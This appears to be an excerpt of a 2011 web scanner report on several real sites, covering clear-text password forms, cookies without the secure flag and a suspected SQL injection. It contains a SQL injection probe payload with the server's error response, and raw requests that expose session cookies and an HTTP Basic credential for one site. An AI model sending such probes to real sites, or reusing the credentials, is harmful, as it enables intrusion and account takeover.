HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:41:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28771
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /software-advanced.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:21:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 33866
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /submit-pad-file.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:09 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 25564
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /tellafriend.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:20:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 24167
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /top-software-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:22:15 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 140029
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The request appears to contain SQL syntax. If this is incorporated into a SQL query and executed by the server, then the application is almost certainly vulnerable to SQL injection.
You should verify whether the request contains a genuine SQL query and whether this is being executed by the server.
Issue remediation
The application should not incorporate any user-controllable data directly into SQL queries. Parameterised queries (also known as prepared statements) should be used to safely insert data into predefined queries. In no circumstances should users be able to control or modify the structure of the SQL query itself.
Request
GET /index.php?option=com_content&view=category&layout=blog&id='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&Itemid=111 HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.soundingsonline.com Cookie: d4dad6935f632ac35975e3001dc7bbe8=2si0fjj7r75bjp5ncust0p83f6
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:33:03 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:33:03 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the ...[SNIP]...
8. SSL cookie without secure flag setpreviousnext There are 31 instances of this issue:
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /a/memsubmit.asp HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cart.php?a=add&pid=41 HTTP/1.1 Host: billing.cloudaccess.net Connection: keep-alive Referer: http://www.cloudaccess.net/pricing.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Secured/FrameCheck.aspx?enc=mNb/G1por6O4zQx3pFlIRkCmPwLZUcLGZgDQHB8EPuhdoa0MPkaYA89q2t3SYnOPa5KKaEJetjbTyfZfMtY2xdvcsAnZc8dTtALIF8A6taA21A83dHV0yvREQ9ZYi5DIqu7lJZdzAn3pLdhHpLkWqw== HTTP/1.1 Host: www.bmwusa.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LK9H33C=LlItWTMXQYRZ6JknOkmjsTsNIlsgCk0BLOhnWkMKF/53WxmfXzUi2xu4wvcNH4wu; VisitorID=89326a93-bb02-4e80-bf57-0d5590e90613; s_pers=%20s_nr%3D1295637746935%7C1298229746935%3B; mbox=PC#1295637745501-300919.17#1296864738|check#true#1295655198|session#1295655081531-668160#1295656998
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /software/inn HTTP/1.1 Host: www.isc.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 00:03:30 GMT Server: Apache/2.2.15 (FreeBSD) mod_ssl/2.2.15 OpenSSL/0.9.8k DAV/2 PHP/5.2.12 with Suhosin-Patch X-Powered-By: PHP/5.2.12 Set-Cookie: SESS9cfe3c2aaf50d7f05c32ca05c0087e5f=6n6is5r71p8hmcq9aea7k12pe1; path=/; domain=.isc.org Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Tue, 25 Jan 2011 00:03:30 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/accnt_billing HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/customer_referrals Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=xKCQsCCPCUppgX7z_Q9C4emqopp0oWW0L4d3d922d
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/accnt_contact HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/accnt_billing Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=OUv_K55TQrSiTPkaFmDuUem4opp0oWW0L4d3d9235
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/accnt_flash HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/accnt_history HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/accnt_contact Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=STcAtGU6KvbrR3ZK53Am_em4opp0oWW0L4d3d9237
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/customer_referrals HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/accnt_flash Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=DHtHt0lU_TcSG.zKACw1yemKopp0oWW0L4d3d921d
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/-/referrals_cashout HTTP/1.1 Host: acc.newsguy.com Connection: keep-alive Referer: https://acc.newsguy.com/user/-/accnt_flash Authorization: Basic aDAyMzMyOkZhc3QxRGlh Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=obHFXmnhMbJX5LfJRNZRWemqopp0oWW0L4d3d924f
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_overview HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:35 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=.NtkeVYzZQxxA.BCeif7Dem4opp0oWW0L4d3d944f; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_renew HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:39 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=H7MjtTwyFzdgi1ol1ako0emqopp0oWW0L4d3d9453; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_settings HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:37 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=C378.xjGh8DpywVURU2nsemaopp0oWW0L4d3d9451; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
<HTML><HEAD> <TITLE>Newsguy - Account Administration - Account Settings</TITLE> <script src="/accnt_forms.js"></script> <script language="JavaScript"> <!-- calculate available quotas by values type in ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_signup_usenet HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:45 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=dLOXayhNSH0bYlx_7dbu1emqopp0oWW0L4d3d9459; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user/accnt_upgrade HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:42 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=F1xwYpJIfeFc7m0gMa_onemKopp0oWW0L4d3d9456; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
The following cookie was issued by the application and does not have the secure flag set:
csrf_id=17b8d0887bd3f6e545eb80196d7df266; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /DataSift/TweetMeme-Chrome-Extension HTTP/1.1 Host: github.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 15:00:34 GMT Content-Type: text/html; charset=utf-8 Connection: close Status: 200 OK ETag: "ed993b0b64e19e7dbc6254707982dc48" X-Runtime: 124ms Content-Length: 40811 Set-Cookie: csrf_id=17b8d0887bd3f6e545eb80196d7df266; path=/ Set-Cookie: _gh_sess=BAh7BzoRbG9jYWxlX2d1ZXNzIgdlbiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%3D%3D--e0bd7516c66d61afc1315d8c70aa3e9910534a77; path=/; expires=Fri, 01 Jan 2021 00:00:00 GMT; secure; HttpOnly Cache-Control: private, max-age=0, must-revalidate
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /maps HTTP/1.1 Host: maps-api-ssl.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the secure flag set:
BIGipServersell=1753538570.47140.0000; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /syc/syc_center.jsf/x22 HTTP/1.1 Host: sell.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:02:24 GMT Server: Apache Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: BIGipServersell=1753538570.47140.0000; path=/ Keep-Alive: timeout=30 Content-Length: 216
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>404 Not Found</TITLE> </HEAD><BODY> <H1>Not Found</H1> The requested URL /syc/syc_center.jsf/x22 was not found on this server.<P> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ScriptResource.axd?d=UhmMf4pGAIGE3YTDimr5qpIoTBHmwhxAYkpY6FXQZsjsK8I-ZqVjCRQO3df8XUyuJtngRgB9HKWNLzF6c_n7ziqREw1V-qezTqpq1_AxFS77UoW0uG3VZ2TJGKX1-La1VBhilu45gcGoEftXkrZcay97fFto7jDpifD5PYt_8VVwD_IM9POySKnOwhgQCQ-GwEjTWvZM7u62v46uYW3ihZtKSsU1&t=3a010726 HTTP/1.1 Host: www.bmwusa.com Connection: keep-alive Referer: https://www.bmwusa.com/Secured/Content/Forms/Login.aspx?enc=mwSSA92UKNV8IOQQODvBfnVrf6qU9VeS34q4mJ4c7s46MR9nJlvxG5Subq1kZIKK Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LK9H33C=LlItWTMXQYRZ6JknOkmjsTsNIlsgCk0BLOhnWkMKF/53WxmfXzUi2xu4wvcNH4wu; VisitorID=89326a93-bb02-4e80-bf57-0d5590e90613; s_pers=%20s_nr%3D1295637746935%7C1298229746935%3B; ASP.NET_SessionId=hwiose4551oubw55xmxold55; WK9733P=DeMPlP7IXaauBIWHUIFjXmeYE0QYEGcbzWFVkx5+pXHnkTqulbOVw2mYu/8OzEEB; NSC_CNX_21529_64.29.204.16=4f52b4193661; mbox=PC#1295637745501-300919.17#1297178364|check#true#1295968824|session#1295968763602-421268#1295970624
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Secured/Content/Forms/Login.aspx?ReturnUrl=%2fSecured%2fNaN&Scheme=http HTTP/1.1 Host: www.bmwusa.com Connection: keep-alive Referer: https://www.bmwusa.com/Secured/FrameCheck.aspx?enc=mNb/G1por6O4zQx3pFlIRgoOd9yR4xuGKlgEfPPlic47gKOkrYw3RkRXQnOaIp43 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LK9H33C=LlItWTMXQYRZ6JknOkmjsTsNIlsgCk0BLOhnWkMKF/53WxmfXzUi2xu4wvcNH4wu; VisitorID=89326a93-bb02-4e80-bf57-0d5590e90613; s_pers=%20s_nr%3D1295637746935%7C1298229746935%3B; mbox=PC#1295637745501-300919.17#1296864738|check#true#1295655198|session#1295655081531-668160#1295656998; ASP.NET_SessionId=hwiose4551oubw55xmxold55; WK9733P=DeMPlP7IXaauBIWHUIFjXmeYE0QYEGcbzWFVkx5+pXHnkTqulbOVw2mYu/8OzEEB; NSC_CNX_21529_64.29.204.16=4f52b4193661
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2fSecured%2fContent%2fForms%2fLogin.aspx%3fenc%3dmwSSA92UKNV8IOQQODvBfnVrf6qU9VeS34q4mJ4c7s46MR9nJlvxG5Subq1kZIKK">h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Secured/NaN HTTP/1.1 Host: www.bmwusa.com Connection: keep-alive Referer: https://www.bmwusa.com/Secured/FrameCheck.aspx?enc=mNb/G1por6O4zQx3pFlIRkCmPwLZUcLGZgDQHB8EPuhdoa0MPkaYA89q2t3SYnOPa5KKaEJetjbTyfZfMtY2xdvcsAnZc8dTtALIF8A6taA21A83dHV0yvREQ9ZYi5DIqu7lJZdzAn3pLdhHpLkWqw== Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LK9H33C=LlItWTMXQYRZ6JknOkmjsTsNIlsgCk0BLOhnWkMKF/53WxmfXzUi2xu4wvcNH4wu; VisitorID=89326a93-bb02-4e80-bf57-0d5590e90613; s_pers=%20s_nr%3D1295637746935%7C1298229746935%3B; mbox=PC#1295637745501-300919.17#1296864738|check#true#1295655198|session#1295655081531-668160#1295656998; ASP.NET_SessionId=hwiose4551oubw55xmxold55; NSC_CNX_21529_64.29.204.16=4f52b4193661
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="https://www.bmwusa.com/Secured/FrameCheck.aspx?enc=mNb/G1por6O4zQx3pFlIRgoOd9yR4xuGKlgEfPPlic47gKOkrYw3RkRXQnOaIp43"> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /WebResource.axd?d=8vmmyJUcpAfwePI_vHjEZZzhNQ4xywI20eg8QPHXCFBLoYaZ-iotmrKPGOJcOPcKed2_9fi23ApLsbhQEjklRH9c1X-oNneXtDyJTnRsg1VCv4iu3joe2IkWTU-4dZUwd23uy7A-b_tZvv0ORXw7vC3BngAxxyWWKj2hWy2J5tMQ-eZXm9EI_5o6ZyuhxuFVQyt7rw2&t=634188751465741492 HTTP/1.1 Host: www.bmwusa.com Connection: keep-alive Referer: https://www.bmwusa.com/Secured/Content/Forms/Login.aspx?enc=mwSSA92UKNV8IOQQODvBfnVrf6qU9VeS34q4mJ4c7s46MR9nJlvxG5Subq1kZIKK Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LK9H33C=LlItWTMXQYRZ6JknOkmjsTsNIlsgCk0BLOhnWkMKF/53WxmfXzUi2xu4wvcNH4wu; VisitorID=89326a93-bb02-4e80-bf57-0d5590e90613; s_pers=%20s_nr%3D1295637746935%7C1298229746935%3B; ASP.NET_SessionId=hwiose4551oubw55xmxold55; WK9733P=DeMPlP7IXaauBIWHUIFjXmeYE0QYEGcbzWFVkx5+pXHnkTqulbOVw2mYu/8OzEEB; NSC_CNX_21529_64.29.204.16=4f52b4193661; mbox=PC#1295637745501-300919.17#1297178364|check#true#1295968824|session#1295968763602-421268#1295970624
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
